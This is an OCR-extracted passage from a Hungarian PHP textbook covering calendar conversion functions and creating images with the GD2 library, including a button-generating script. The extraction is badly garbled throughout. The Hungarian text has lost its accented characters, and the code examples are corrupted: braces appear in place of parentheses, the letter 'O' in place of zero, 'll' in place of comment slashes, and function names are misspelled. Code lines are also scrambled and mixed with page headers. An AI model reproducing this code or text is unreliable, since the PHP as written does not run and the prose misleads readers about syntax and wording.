"0. 34 380900 ll 7 4 091816". Az els szm a trtrsz, a msodik szm pedig az 1970.janur l. ta eltelt id msodpercben
kifejezve. Mivel a szmokat knnyebb kezelni, mint a karakterlncokat, a P H P 5-s verzijtl kezdve rdemes amicrotime ( ) fliggvnyt a true paramterrel meghvni.

21

Naptrfggvnyek hasznlata
A PHP szmos fiiggvnnyel segti a klnbz naptrrendszerek kztti tvltst. A fbb naptrak, amelyekkel dolgozni fo gunk, a Gergely- s a Julin-naptr, illetve aJulin-napszmll. A legtbb nyugati orszg jelenleg a Gergely-naptrat hasznlja. A Gergely-naptr szerinti 1582. oktber 15. megegyezik aJulin-naptr szerinti 1582. oktber 5-vel. Ezen idpont eltt aJulin-naptr volt a szles krben hasznlt naptrrendszer. A klnbz orszgok eltr idpontban vltottak a Gergely-naptrra, egyes orszgok (pldul Oroszorszg) csak a 20. szzad elejn tettk meg ezt. E kt naptrrendszert sokan ismerik, de nem biztos, hogy aJulin-napszmllrl (Julian Day Count-JD) is hallottunk mr. Ez utbbi sok szempontbl a Unix idblyeghez hasonl. Egy idszmtsunk eltt 4000 krli dtumtl szmolja az eltelt napokat. nmagban nem klnsebben hasznos, rtelmet akkor nyer, amikor a naptrrendszerek kztt vltjuk t a d tumokat. Ilyen tvltskor elszr aJulin-napszmllra vltunk, s majd onnan a kvnt naptrra. Unix alatti hasznlarukhoz elszr az --enable-calendar belltssal be kell fordtanunk PHP-be a calendar kiter jesztst. Az ltalnos Windows-teleptsbe be vannak ptve ezek a fiiggvnyek. Hogy rrezznk mkdskre, nzzk meg a Gergely-naptrrlJulin-naptrra vltshoz szksges fiiggvnyek prototpu st:
int gregoriantojd(int honap, int nap, int ev) string jdtojulian(int julian_nap)

Egy dtum talaktshoz mindkt fiiggvnyt meg kell hvnunk:

$jd

gregoriantojd

(9, 18, 1582);

echo jdtojulian($jd);
Ez a fiiggvnyhvs HH/NN/ formtumban rja ki aJulin-naptr szerinti dtumot. Ezeknek a fiiggvnyeknek a klnbz v ltozataival vltharunk a Gergely-, aJulin-, a francia s a zsid naptr, illetve
a

Unix idblyegek kztt.

Tovbbi olvasnival
Ha szeretnnk a PHP s a MySQL dtum- s idfiiggvnyeirl tbbet megrudni, olvassuk el a kziknyvek idevg rszeit a http://php.net/manual/en/ref.datetime.php, illetve a http:/ l dev.mysql.com/doc/re&nan/5.0/en/date-and-timefunctions.htrnl cmen! Ha naptrrendszerek kztt kell dtumokat tvltanunk, olvassunk bele a PHP kziknyv naptrkezel fiiggvnyeket ler oldalaiba (http://php.net/manual/en/ref.calendar.php)!

Hogyan tovbb:
A PHP egyik egyedlll s igen hasznos funkcija a kpek menet kzbeni ltrehozsnak lehetsge. A Kpek ellltsa cm

22. fejezetbl kiderl, hogyan tudunk

az

image knyvtr fiiggvnyeivel rdekes s hasznos kpi hatsokat elrni.

22
Kpek ellltsa
A PHP egyik igen hasznos funkcija a kpek programbl val ltrehozsnak lehetsge. A nyelv szmos olyan fggvnnyel rendelkezik, amely kpekrl szelgltat informcikat,a GD2 knyvtrat pedig j kpek ltrehozsra,illetve meglvk keze lsre hasznlhatjuk. A fejezetbl kiderl, hogyan rhetnk el rdekes s hasznos kpi hatsokat ezen kpkezel fggvnyek segtsgve!. A fejezetben az albbi fbb tmakrkkel foglalkozunk: Kpi tmogats belltsa a PHP-ben Kpformromok Kpek ltrehozsa Automatikusan ltrehozott kpek hasznlata ms oldalakon Szveg s betk hasznlatval ltrehozott kpek brk s grafikonadatok rajzolsa Munknk sorn kt pldt nznk meg rszletesebben: az egyik sorn programbl hozzuk ltre egy weboldal gombjait, a msikban pedig MySQL adatbzisbl szrmaz adatokbl ksztnk oszlopdiagramot. A pldkhoz a GD2 knyvtrat fogjuk hasznlni, m nem ez az egy npszer, a kpekkel val munkt lehetv tev PHP knyvtr ltezik. Az ImageMagick knyvtr nem rsze ugyan az ltalnos PHP-teleptsnek, de a PHP Extension Class Library (PECL) bvtmnyekbl egyszeren telepthet. Az ImageMagick s a GD2 szmos igen hasonl funkcival rendel kezik, m egyes terleteken az elbbi tbbre kpes. Ha GIF kpeket (vagy akr animlt GIF kpeket) szeretnnk ltrehozni,
az

ImageMagick knyvtrra lesz szksgnk. Amennyiben valdi sznezer (true color md) kpekkel vagy cltszsgi hat Az ImageMagick letltshez keressk fel a PECL oldalt: http:/ /pecl.php.net/package/imagick. Ha szeretnnk kpet kapni az ImageMagick ltal knlt lehetsgek trhzrl, vagy tanulmnyoznnk dokumentcijt,

sokkal kivnunk dolgozni, rdemes sszehasonltani a kt knyvtr ltal knlt lehetsgeket.

ltogassunk el a http:/ /www.imagemagick.org oldalra!

Kpi tmogats belltsa PHP,ben


A PHP egyes kpkezel fggvnyeit brmikor elrhetjk, a tbbsgk hasznlata azonban a GD2 knyvtr megltt ignyli. A knyvtrrl a http:/ /www.libgd.org/Main_Page oldalon tallunk rszletes informcit. A PHP 4.3-as verzija ta elrhet a GD2 knyvtr sajt, a PHP csapata ltal tmogatott vltozata. Mivel ez knnyebben telepthet a PHP-vel, s jellemzen stabilabb is, ajnlott ezt hasznlni. Windows alatt a PNG sJPEG kpek automatikusan tmogatottak, amennyiben bekapcsoltuk a php_gd2.dll bvtmnye. Ehhez nem kell ms tenni, mint a PHP teleptsi knyv trnak \ext alknyvtrbl a rendszermappba (Windows XP esetn a C:\Windows\system knyvtrba) msolni a php_gd2. dll fjlt. Ezen kivl a php.ini fjl kvetkez sornak elejrl el kell tvoltani a pontosvesszt (;),hogy immr ne megjegyzs legyen:
extension=php_gd2.dll

Ha Unixot hasznlva szetetnnk PNG kpekkel dolgozni, teleptennk kell a http://www.libpng.org/pub/png/ oldalrl elrhet libpng, illetve a http://www.gzip.org/zlib/ oldalrl elrhet
--with-png-dir=/path/to/libpng --with-zlib-dir=/path/to/zlib
z

l ib knyvtrat.

Ezt kveten a kvetkez belltsokkal kell kenfigurlnunk a PHP-t:

Ha Unixon szeremnkJPEG kpekkel dolgozni, le kell tlteni a jpeg-6b csomagot, s bekapcsoltJPEG-tmogatssal jra kell forditani a GD-t. A csomagot az ftp:/ /ftp.uu.net/graphics/jpeg/ oldalrl tlthetjk le. Majd a kvetkez belltssal jra kell konfigurlni s jra kell fordtani a PHP-t:
--with-jpeg-dir=/path/to/jpeg-6b

332

22. fejezet

Ha szeretnnk kpeinken TrueType bettpusokat hasznlni, a FreeType knyvtrra is szksgnk lesz. A 4-es verzi ta ez is elrhet a PHP-ben, de ha kell, a http://www.freetype.org/ oldalrl letlthet. Ha inkbb PostScript Type l bettpusokkal kvnunk dolgozni, az frp://sunsite.unc.edu/pub/Linux/libs/graphics/ oldal rl letlthet tllib knyvtrra lesz szksgnk. Ezt kveten a
--with-tllib[=path/to/tllib]

belltssal kellfuttatni a PHP konfigurl programjt. Vgl termszetesen a --wi th-gd hasznlatval kell konfigurlni a PHP-t.

Kpformtum ok
A GD knyvtr a JPEG, a PNG s a WBMP formtumot tmogatja, a GIF kpeket mr nem. Nzzk t rviden ezen form

turnak legfontosabb jellemzit!

JPEG
A JPEG a joint Photographic Experts Group rvidtse, ami igazbl nem egy adott formtum, hanem egy kptmrtsi szab

vnyt kidolgoz munkacsoport neve. A JPEG-nek nevezett fjlformtum hivatalos neve JFIE s ez nem ms, rnint a JPEG csoport ltal ltrehozott egyik szabvny.
A JPEG fjlokat elssorban klnbz szneket s szntmeneteket tartalmaz fnykpek vagy egyb kpek trolsra hasz

22

nljuk. A formtum vesztesges tmrtse hasznl, vagyis a kprninsg valamilyen mrtk romlsval tmriti a fnykpet kisebb fjlba. Mivel a JPEG fjlok ltal crolt kpek lnyegben szntmeneteket tartalmaz analg kpek, az emberi szem bi zonyos mrtk minsgromlst tolerlni kpes (rnivel egyszeren nem veszi szre). A formtum nem megfelel vektorgrafikus brkhoz, szveghez s teli sznnel kitlttt felletekhez.
A JPEG/JFIF formtumrl a JPEG hivatalos oldaln bvebben is olvashatunk (http://wwwJpeg.org/).

PNG
A PNG a Portab/e Network Graphics rvidtse. Ez a fjlformtum a GIF (Graphics Interchange Format) helyt vette t (rvi

desen ltni fogjuk, rnirt). A PNG w eboldala gy r rla:.bivalyers kpformtum vesztesgmentes tmrtssel:' Vesztesg mentessgnek ksznhecen a kpformtum olyan kpekhez is kivlan hasznlhat, amelyek szveget, egyenes vonalakat s teli sznnel tlttt formkat tartalmaznak- pldul fejlcekhez vagy w eboldalak gombjaihoz. A PNG kpek ltalnossgban ugyanarra a clra hasznlhatk, mint korbban a GIF-ek. Egy adott kp PNG-vel tmrtett vltozata jellemzen hasonl mret, rnint a GIF-fel tmrtett trsa. A PNG tmogatja a fokozatos tltszsgot, a gammakorrekcit s a ktdimenzis vltott soros megjelenitst. Nem tmogatja viszont az animcikat, ezrt ilyen clra a jelenleg is fejleszts alatt ll MNG for mtumot kell hasznlni.
A veszcesgmentes trndtsi eljrsok rajzokhoz s brkhoz megfelelnek ugyan, nagy fnykpek trolsra viszont kevsb

alkalmasak, mert jellemzen nagy fjimretet eredmnyeznek.


A PNG-rl a hivatalos PNG-honlapon (http://www.libpng.org/pub/png/) rszletesebben olvashatunk.

WBMP
A WBMP, amely a Wireless Bitmap rvidtse, kifejezetten vezetk nlkli eszkzk szmra kialaktott fjlformtum. Egyelre

nem klnsebben szles krben terjedt el.

GIF
A GIF a Graphics Interchange Forrnat rvidtse. Tmrtett, vesztesgmentes formtum, amit szles krben hasznlnak az

interneten szveget, egyenes vonalakat vagy teli sznnel kitlttt formkat tartalmaz kpek trolsra.
A GIF formtum a 24 bites RGB szntr 256 klnbz sznbl ll sznpalettt hasznl. Tmogatja az animcikat, s

lehetv teszi, hogy minden kpkockn ms s ms sznekbl lljon a 256 szn paletta. A hasznlhat sznek korltozott sz ma rniatt a GIF formtum nem alkalmas sznes fnykpek s ms folytonos tnus kpek ellltsra, de tkletesen megfelel olyan egyszerbb kpeknl, rnint a grafikk vagy a teli szn elemekbl ll logk.
A GIF fjlok LZW vesztesgmentes adattmrtse hasznlnak, amely a kprninsg romlsa nlkl cskkenti a fjlmrecec.

Kpek ellltsa

333

Kpek ltrehozsa
A kpek PHP-beli ltrehozsnak ngy lpse a kvetkez: l. 2. 3. 4. Rajzvszon ltrehozsa a munkhoz. Alakzatok rajzolsa vagy szveg nyomtatsa a rajzvszonra. Kimenet ksztse a ksz grafikrl. Erforrsok felszabadtsa.

Nzznk pldt egy egyszer kpet ltrehoz kdra! A teljes kdot a 22.1 pldakd tartalmazza. 22.1 pldakd: egyszeru_abra. php-Egyszer vonalas bra rtkests Jelirattal <?php ll kp belltsa
$magassag
=

200;
$magassag);

$szelesseg = 200; $kep = imagecreatetruecolor{$szelesseg, $feher


=

imagecolorallocate {$kep,

255, O,

255, 64);

255);

$kek = imagecolorallocate {$kep,

O,

ll rajzols a kpre
imagefill{$kep, imageline{$kep,

O, O,

O, O,
4,

$kek); $szelesseg, $magassag, $feher); $feher);

imagestring{$kep,

50,

150,

'rtkests',

22

ll kimenet ltrehozsa
Header {'Content-type: imagelpng'); imagepng {$kep);

ll erforrsok felszabadtsa
imagedestroy{$kep);

?> A kd futtatsnak eredmnye a 22.1 brn lthat.

22.1 bra: A kd kk htteret rajzol, majd egy vonalat s egy szveges cmkt ad a kphez. Most pedg menjnk vgig egyenknt a kp ltrehozsnak lpsein!

Rajzvszon ltrehozsa
Hogy elkezdhessnk PHP-ben megalkotni vagy mdostani egy kpet, ltre kell hoznunk egy kpazonostt. Ennek kt alap ver mdja van. Az egyik egy res rajzvszon ltrehozsa, amelyet az imagecreatetruecolor{) fggvny meghvsval rhetnk el, ahogy tettk azt a fenti kdban is az albbi sorral:
$kep = imagecreatetruecolor{$szelesseg, $magassag);

3 34

22. fejezet

Az ImageCreateTrueColor () fggvny kt paramtert vr. Az els az j kp szlessge, a msodik pedig a magassga. A fggvny az j kp azonostjval tr vissza. Az ilyen azonostkat a fjlmutatkhoz hasonlan kell elkpzelnnk. A msik mdszer meglv kpfjl beolvassa,amire aztn szrt alkalmazhatunk,tmrerezhetjk vagy kiegszthet jk. A beolvasni kvnt fjl formtumtl fggen az imagecreatefrompng (),az imagecreatefromjpeg () vagy az
imagecreatefromgif () fggvnyt hasznlhatjuk erre a clra.

Mindhrom fggvny a fjl nevt vrja paramterknt, ahogy az albbi pldban is lthatjuk:
$kep = imagecreatefrompng('alap kep.png');

A fejezet egy ksbbi rszben arra is ltharunk pldt,hogyan hozharunk ltre gombokat meglv kpek felhasznlsval.

Rajzols vagy szveg rsa kpre


A kpre rajzols, illetve szveg kpre rsa egyarnt kr rszbl ll. Elszr is ki kell vlasztani a rajzolshoz hasznlni kvnt sznt. Mint azzal bizonyra tisztban vagyunk,a szmrgp kijelzjn megjelen sznek klnbz mennyisg vrs, zld s kk fnybl jnnek ltre. A kpformtumok e hrom szn sszes lehetsges kombincijnak meghatrozorr rszhalmazt tartalmaz sznpalettkar hasznlnak. Ahhoz,hogy valamilyen sznnel rajzoihassunk egy kpre, hozz kell adni a sznt a kp sznpalettjhoz. Brmilyen hasznlni kvnt szn, mg a fehr s a fekete esetben is gy kell tenni. Az ImageColorAllocate () fggvny meghvsval vlaszthatjuk ki a kpnkhz hasznlni kvnt szneker. A fggvny nek kpnk azonostjt,illetve a kvnt szn vrs,zld s kk (red, green,blue,azaz RGB) rtkeit kell tadni. A 22.1 pldakd kr sznnel dolgozik: fehrrel s kkkeL Az albbi kt fggvny meghvsval vlasztjuk ki ket:
$feher = imagecolorallocate ($kep,

255,
O,

255, 64);

255);

22

$kek = imagecolorallocate ($kep,

O,

A fggvny sznazonosrval tr vissza, amellyel a ksbbiekben elrjk az adott sznt. A rnyleges rajzolshoz klnbz fggvnyek kzl vlasztharunk attl fggen, hogy pontosan mit kvnunk rajzolni: vonalakat,veket,sokszgeket vagy szveget. A rajzolfggvnyek ltalban a kvetkez paramtereket vrjk: A kp azonostja A rajzolni kvnt objektum kezd- s esetenknt vgpontja (koordinrk) A fesrszn Szveg esetn a bettpusra vonatkoz informcik Pldnkban hrom rajzolfggvnnyel dolgozunk,nzzk meg most ezeket egyenknt! Elszr is az imagefill() fggvnnyel ltrehozzuk a kk htteret,amire a ksbbiekben rajzolharunk:
agefill($kep, O,

0,

$kek);

A fggvny paramterknt a kpazonostt,a rajzolsi terlet kezdpontjt (x s y),illetve a festsznt vrja.

x=$sze lesseg, y=$magassag.

kp koordintit a bal fels sarokbl szmoijuk, ez az x=O, y=O pont. A kp jobb als sarka az Szmtgpes grafikk esetben ez gy megszokott, viszont a matematikban megszakottal ellenttes, ezrt gyeijnk a helyes hasznlatra!
Megjegyzs: A

Ezt kveten vonalat hzunk a kp bal fels sarkbl


imageline($kep, O,

(o,

O) a jobb alsha ( $szelesseg, $feher);

$magassag ) :

0,

$szelesseg,

$magassag,

A fggvny paramterknt a kpazonostt,a vonal kezd- s vgpontjnak x s y koordintjt,illetve a sznt vrja. Vgezetl felirarot adunk az brhoz:
imagestring($kep,

4,

50,

150,

'rtkests',

$feher);

Az imagestring( ) fggvny az elz ketttl kiss eltr paramtereket fogad. A fggvny prototpusa a kvetkez:
int imagestring (resource kep_azonosto, int betutipus, int x, int y, string s, int szin)

Paramcerei sorban: a kpazonosr, a bettpus, a szveg kezdpontjnak x s y koordinrja,az rni kvnt szveg s a szn. A bettpus egy l s 5 kztri szm. Ezek a szmok latin2 kdols,beptett bettpusokat jellnek gy,hogy a magasabb szmok nagyobb bettpusoknak felelnek meg. Hasznlhatunk helyettk TrueType vagy PostScript Type l berket is. Mind egyik fontkszlethez tartozik egy fggvnykszlec. A kvetkez pldban a TrueType fggvnyeker fogjuk hasznlni. Nyoms rv az alternatv bettpusokhoz tartoz fggvnykszletek hasznlatra, hogy az imagestring () s a hozz kapcsold fggvnyek,pldul az imagechar() (karakter rsa a kpre) ltal rt szveg nem lsimtott. A TrueType s a PostScript fggvnyek ezzel szemben lsimtott szveget lltanak el. Ha bizonytalanok vagyunk az lsimtott s az lsimts nlkli betk kztri klnbsget illeten, vessnk egy pillantst a 22.2 brra! Ahol grbk vagy velt vonalak vannak a betkben,az lsimts nlkli szveg tredezettnek tnik. A grb-

Kpek ellltsa

335

letet vagy vet ekkor .,lpcseffekt" adja ki. Az lsimtott kp a httr s a szveg szne kztti szn kppontok felhasznl sval simeja ki a szveget.

Nonnal Anti -alias ed


22.2 bra:

Az egyszer szveg tredezettnek tnik, klnsen nagyobb betmret esetn. Az lsimts finomabb teszi a betk grbleteit s sarkait.

Kimenet ksztse a ksz grafikrl


Az elksztett kpet megjelenthetjk kzvetlenl a bngszben vagy elmenthetjk fjlba.

Pldnkban az elbbit vlasztottuk, vagyis kzveclenl a bngsznkben jelenik meg a kp. Ez is kt lpsbl ll folyamat. Elszr is kzlnnk kell a bngszvel, hogy kpet, nem pedig szveget vagy HMTL-t kivnunk megjelenteni. A Header () fggvnyt hasznljuk erre, amivel meghatrozhatjuk a kp MIME-tpust:
Header ('Content-type: image/png');

Amikor be szetetnnk tlteni bngsznkbe egy fjlt, a webszerver elszr is a MIME-tpust kldi el. HTML vagy PHP oldal esetn elsknt a kvetkezket kldi a kiszolgl:
Content-type: text/html

22
az

Ez kzli a bngszvel, hogyan rtelmezze a most kvetkez adatokat. Jelen esetben azt szetetnnk tudatni a bngszvel, hogy a szoksos HTML kimenet helyett kpet kldnk. Ezt mg nem hasznlt Header () fggvnnyel tehetjk meg. A fggvny egyszer HTTP fejlcet kld el. Msik tipikus felhasznlsi terlete a HTTP tirnytsok vgrehajtsa. tir nyts esetn azt kzljk a bngszvel, hogy a krt oldal helyett egy msikat tltsn be. ltalban akkor hasznljuk, amikor
egy oldalt chelyeztnk. Pldul:
Header ('Location: http://www.domain.com/uj kezdolap.html ');
az

eddig

A Header () fggvny hasznlatval kapcsolatban meg kell emlteni, hogy a fggvny abban

esetben, ha az oldal tartalma

mr el lett kldve, nem hajtathat vgre. Amint valamilyen kimenetet kldnk a bngsznek, a PHP automatikusan elkldi neki a HTTP fejlcet. gy, ha brmilyen echo utasts vagy akr fehrkz karakter tallhat a kezd PHP cmke (tag) eltt ,
a

kiszolgl elkldi a fejlcet, mi pedig figyelmeztet zenetet kapunk a PHP-tl, amikor megprbljuk meghvni a Header () fggvnyhvsoknak mind
az

fggvnyt. A fggvny tbbszri meghvsval ugyanakkor tbb HTTP fejlcet is elkldhetnk ugyanabban a kdban, de
a

eltt kell lennik, hogy brmilyen kimenetet kldennk a bngsznek.

A fejlcadatok elkldse utn az


imagepng ($kep);

meghvsval kldhetjk a kpadatokat a bngsznek. Ez a fggvnyhvs PNG formtumban kldi a bngsznek a kimenetet. Ha ms formtumban s.zeretnnk kldeni, az
imagejpeg () fggvnyt is meghvhatjuk-amennyiben a J P EG tmogatsa be van kapcsolva. Ebben az eseeben is a megfele

l fejlcet kellene elszr kldeni, ahogy itt is lthatjuk:


Header ('Content-type: image/jpeg');

A msodik lehetsg, egyben az sszes elbbinek az alternativja, ha a bngszben val megjelents helyett fjlba rjuk
a

kpet. Ehhez meg kell adni az imagepng () (vagy


$fajlnev);

az

egyb tmogatott formtumokhoz tartoz, hasonl fggvny) opcion

lis msodik paramtert:


agepng($kep,

Ne fele<ljk el, hogy a PHP-bl fjlba rsra vonatkoz sszes szably (pldul a jogosultsgok megfelel belltsa) itt is rvnyes!

Erforrsok felszabadtsa
Ha befejeztk a kppel a munkt, a kpazonost megsemmistsvel adjuk vissza a kiszolglnak a lefoglalt erforrsokat. A z
imagedestroy () meghvsval tehetjk ezt: imagedestroy($kep);

336

22. fejezet

Automatikusan ltrehozott kpek hasznlata ms oldalakon


Mivel adott fejlcet csak egyszer kldhetnk el, s csak ezzel kzlhegk a bngszvel, hogy kpadatot kvnunk kldeni neki, egy ltalnos oldalra nem olyan egyszer dolog a program ltal ltrehozott tbb kpet beilleszteni. Az albbi hrom lehe tsg kzl vlaszrhatunk: A teljes oldal az adott kp kimenetbl ll, ahogy azt az elz pldban lttuk. Kirjuk a kpet fjlba, ahogy arrl mr beszltnk, majd hagyomnyos <IMG> cmkvel hivatkazunk r. A kpet elllr kdot kpcmke kz helyezzk. Az els kr mdszerrel mr foglalkoztunk. Tekintsk most t rviden a harmadikat! Ennl a mdszernl kpcmkk (image rag) hasznlatval illesztjk a sorok kz a kpet, pldul gy:
<img src="egyszeru abra.php" height="200" width="200" alt="Az rtkestsek visszaesnek" _ />

A PNG, a JPEG vagy a GIF kp kzveclen beillesztse helyett szrjuk be az SRC cmkbe a kpet elllr PHP kdot. A kd futtarsnak eredmnye a sorok kz kerl, ahogy azt a 22.3 bra is muratja.

22
22.3 bra: A dinamikusan ellltott, sorok kz beszrt kp pontosan gyjelenik meg
a felhasznl szmra, mint brmilyen ms, hagyomnyos kp.

Szveg s betk hasznlatval ltrehozott kpek


Nzznk most a kpek lttehozsra egy jval bonyolultabb pldt! Hasznos lehet, ha kpesek vagyunk weboldalunk szmra a gombokar vagy egyb kpeker automatikusan {a programbl) lttehozni. Miutn a korbban mr bemutatott mdszereker hasz nlva valarnilyen sznnel kitltnk egy tgWapot, knnyedn lttehozhatunk abbl egyszer gombokat. Ennl sszetettebb effekreker is programozhatunk, m egy kpszerkeszt alkalmazsban ltalban sokkal egyszerbben elrhegk clunkat. A grafikai munkt gy akr megfelel mvszemberre is bzhaguk, neknk pedig megmarad a programozi munka. A mostani pldban egy res gombsablon segtsgvel llguk el a gombokar. gy olyan kptulajdonsgokat, kztk pldul leke rektett leket is elrhetnk, amelyeket sszehasonlthatatlanul egyszerbb Photoshop, GIMP vagy valarnilyen ms kpszerkeszt segtsgvel ltrehozni. A PHP kpkezel knyvera lehetv teszi, hogy a megfelel alapkpbl kiindulva, majd arra rajzolva rjk el a kvnt eredmnyt. Az lsimtott szveg rdekben a pldban TrueType bettpusokar hasznlunk. A TrueType bettpusokhoz hasznlhat fggvnyeknek is megvannak a maguk ttkkjei, rvidesen ezeket is megismerjk. A folyamat lnyegben annyibl ll, hogy fogjuk a szveget, majd lttehozunk egy olyan gombot, amelyre a szveg kerl. A gombon vzszintesen s fgglegesen is kzpre igazguk, majd a gomb ltal megengedett legnagyobb betrnretet fogjuk belltani. A felhasznlk szmra tesztels s k srlerezs cljbl elrhet felletet ksztettnk a gombokat elllt kdhoz {22.4 bra). (Az rlap kdjt itt s most nem kzljk, rnivel nagyon egyszer, de a knyv letlthet mellkletnek gomb_tervezese . html nev f.jljban megtallhat.)

22.4 bra: A felleten a felhasznl kivlaszthatja a gomb sznt, illetve begpelheti a kvnt szveget.

Kpek ellltsa

337

Ilyen tpus felleteket pldul weboldalakat automatikusan elllt programokhoz vehetnk ignybe. A weboldal gomb jainak futtats alatti ltrehozshoz soron bell is meghvhatnnk a kdot, de ehhez gyorsttrazsra lenne szksg annak rdekben, hogy mindez ne legyen tl idignyes.

22.5 bra: A gomb_letrehozasa. php kd ltal ellltott gomb. A gombot a 22.2 pldakdban lthat gomb _letrehozasa. php kd lltotta el. 22.2 pldakd: gomb_letrehozasa. php-A gombot ltrehoz kd a gomb_tervezese. html rlapbl vagy HTML IMG cmkbl is meghvhat.
<?php ll ellenrizzk, hogy a megfelel vltozadatokkal dolgozunk

ll a vltozk a gomb szvege s a szn

$gomb_szoveg $szin
=

$_REQUEST['gomb_szoveg'];

22

$_REQUEST['szin'];

i (empty($gomb_szoveg} f

l l

empty($szin}}

{
echo exit; 'Nem lehet a kpet ltrehozni - az rlap nem megfelelen lett kitltve';

ll megfelel htter kp ltrehozsa s mret ellenrzse Skep = imagecreatefrompng ($szin. '-gomb.png'};

$szelesseg_kep $magassag_kep
=

imagesx($kep}; imagesy($kep};

ll Kpeinknl 18 kppontos bels margra van szksg Sszelesseg_kep_margok_nelkul


=

$szelesseg_kep - (2 *

18};

Smagassag_kep_margok_nelkul = $magassag kep - (2 *

18};

ll Dertsk ki, $betumeret = 33;

hogy a betmret megfelel-e,

ha nem,

cskkentsk addig,

amg j nem lesz!

ll Induljunk ki a legnagyobb mretbl,

ami elfrhet gombjainkon!

ll kzlni kell a GD2-vel,

hol tallhatk a bettpusaink

putenv('GDFONTPATH=C:\WINDOWS\Fonts'}; $betutipus = 'arial';

do

$betumeret--; ll a szveg adott betmret melletti mretnek kiszmtsa $befoglalo keret=imagettfbbox ($betumeret,

O,

$betutipus,

$gomb szoveg};

338

22.fezet

$jobb szoveg $bal szoveg


=

$befoglalo_keret[2]; $befoglalo_keret[O];

ll jobb koordinta ll bal koordinta ll milyen szles? ll milyen magas?

Sszelesseg szoveg = $jobb szoveg - $bal szoveg; $magassag szoveg

abs($befoglalo_keret[7] - Sbefoglalo keret[l]);

while ( $betumeret>8 && $magassag_szoveg>$magassag kep_margok nelkul

l l

$szelesseg_szoveg>$szelesseg kep_margok_nelkul );

if ( $magassag szoveg>$magassag kep_margok_nelkul $szelesseg_szoveg>$szelesseg_kep_margok nelkul )

l l

ll olvashat mretben nem fr r a szveg a gombra echo


'A megadott szveg

nem fr r a gombra.<br l>';

else

ll Talltunk megfelel betrnretet

22

ll Most kiszmoljuk,

hova kerljn a szveg

$szoveg_x $szoveg y

$szelesseg kepl2.0 - $szelesseg szovegl2.0; Smagassag kepl2.0 - $magassag_szovegl2.0

if ($bal szoveg < 0) $szoveg_x += abs($bal szoveg); ll bal oldali behzs meghatrozsa

$szoveg_alapvonal felett = abs($befoglalo keret[7]); $szoveg_y += $szoveg_alapvonal felett;

ll mennyivel az alapvonal felett?

ll alapvonal meghatrozsa

$szoveg y

2;

ll sablonunk alakjnak megfelel korrekci

$feher

imagecolorallocate ($kep,

255,

255,

255);

imagettftext ($kep,

$betumeret,

O,

$szoveg_x,

$szoveg_y,

$feher,

$betutipus,

$gomb_szoveg);

Header ('Content-type: imagepng ($kep);

imagelpng');

imagedestroy ($kep); ?>

Ez az egyik leghosszabb kd, amivel idig tallkoztunk. Nzzk vgig lpsenknt! A kd nmi alapvet hibaellenrzssei kezddik, m:Yd a munknk sorn hasznlt rajzvszon belltsval folytatdik.

A rajzvszon belltsa
A 22.2 pldakdban nem res lappal indulunk, hanem meglv kpet felhasznlva kezdjk meg a gomb ltrehozst. Hrom

vlasztsi lehetsget adunk a gomb alapsznt illeten: vrs (voros-gomb.png ) , zld (zold-gomb.png ) s kk ( kek
gomb.png ) .

A felhasznl ltal kivlasztott sznt az rlap sz in vltozjban troljuk

Kpek ellltsa

339

Kezdsknt kinyerjk a sznt a$_REQUEST szupergloblis vltozbl, majd a megfelel gomb alapjn belltjuk az j kp azonostt:
$szin = $_REQUEST['szin'];

$kep = imagecreatefrompng ($szin. '-gomb.png');

A paramterknt egy PNG kp fjlnevt fogad imagecreatefrompng() fggvny egy j, a PNG fjl msolatt tartalmaz kphez tartoz azonostt ad vissza. Fontos megjegyezni, hogy ez semmilyen mdon nem vltoztatja meg az eredeti PNG kpet. Megfelel tmogats teleptse esetn ugyangy hasznlhatjuk az imagecreatefromjpeg ( ) s az
imagecreatefromgif () fggvnyt is.

Megjegyzs: Az imagecreatef rompng ( ) fggvny csak a memriban hozza ltre a kpet. Fjlba mentshez vagy bngszben val megjelentshez az imagepng ( ) fggvnyt kell meghvnunk. Rvidesen ezt is bemutatjuk, de eltte van mg egy kis dolgunk a kppel.

A s:z;veg hozzigaztsa a gombhoz


A ferhasznl ltal begpelt szveget a $gomb_szoveg vltozban troljuk el. Feladatunk annyi, hogy a gomb ltal megenge
dett legnagyobb mretben a gombra rjuk ezt a szveget. ltercival, illetve egyszerbben mondva prba-szerencse mdszerrel

fogjuk ezt megvalstani. Elszr is belltjuk a szksges vltozkat. Az els kt ilyen a gomb kpnek szlessge s magassga:
$szelesseg_kep = imagesx($kep); $magassag_kep = imagesy($kep);

22

A kvetkez kt vltoz a gomb szltl szmtott bels margkat jelkpezi. Mivel a gomb szle lekerektett, ezt figyelembe vve elegend helyet kell hagynunk a szveg szltl. Ha ms kpekkel dolgozunk, eltr rtkeket kell hasznlnunk. Jelen esetben minden oldalon krlbelilS kppontnyi margval kell szmolnunk:
$szelesseg_kep_margok_nelkul = $szelesseg_kep - (2 * 18); $magassag_kep_margok_nelkul = $magassag_kep - (2 * 18);

A kiindul betrnretet is meg kell adnunk. Induljunk ki 32 pontbl (illetve valjban 33-bl, de azt azonnal cskkentjk eggyel), mert nagyjbl ez a legnagyobb betmret, ami egyltaln rfrhet a gombra:
$betumeret = 33;

GD2 hasznlata esetn a GDPONTPATH krnyezeti vltoz belltsval kzlnnk kell, hogy hol tallhatk rendszernkn a bettpusok:
putenv('GDFONTPATH=C:\WINDOWS\Fonts');

A hasznlni kvnt bettpus nevt is meg kell adnunk. T rueType fggvnyekkel fogunk dolgozni ezzel a bettpussal. Ezek a fugg vnyek az elzekben megadott elrsi tvonalon fogjk keresni a bettpus fjljt, s tsseiltjk el a fjlnevet:
$betutipus = 'arial';
.

ttf (T rueType Font) kiterjesz

Opercis rendszertl fggen elkpzelhet, hogy a bettpus nevhez neknk kell hozzadni a . ttf kiterjesztst. Ha sz mtgpnkn nem tallhat meg a pldban hasznlt Arial, brmilyen ms T rueType bettpusr vlaszthatunk helyette. Most pedig egy ciklussal addig cskkentjk a betmretet, amg a felhasznl ltal elkldtt szveg r nem fr a gombra:
do

$betumeret--;

ll a szveg adott betmret melletti mretnek kiszmtsa


$befoglalo_keret=imagettfbbox ($betumeret, O, $betutipus, $gomb_szoveg);

$jobb_szoveg = $befoglalo_keret[2]; $bal_szoveg = $befoglalo_keret[O]; $szelesseg_szoveg


=

ll jobb koordinta ll bal koordinta ll milyen szles? ll milyen magas?


- $befoglalo_keret[1]);

$jobb_szoveg - $bal_szoveg;

$rnagassag_szoveg = abs($befoglalo keret[7] while ( $betumeret>8

&&

340

22.fezet

( $magassag_szoveg>$magassag_kep_margok_nelkul );

l l

